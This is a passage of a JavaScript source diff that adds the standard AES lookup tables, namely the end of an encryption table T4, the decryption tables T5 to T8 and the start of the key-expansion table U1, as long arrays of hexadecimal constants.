0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; +const T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; +// Transformations for decryption +const T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; +const T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; +const T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; +const T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; +// Transformations for decryption key expansion +const U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 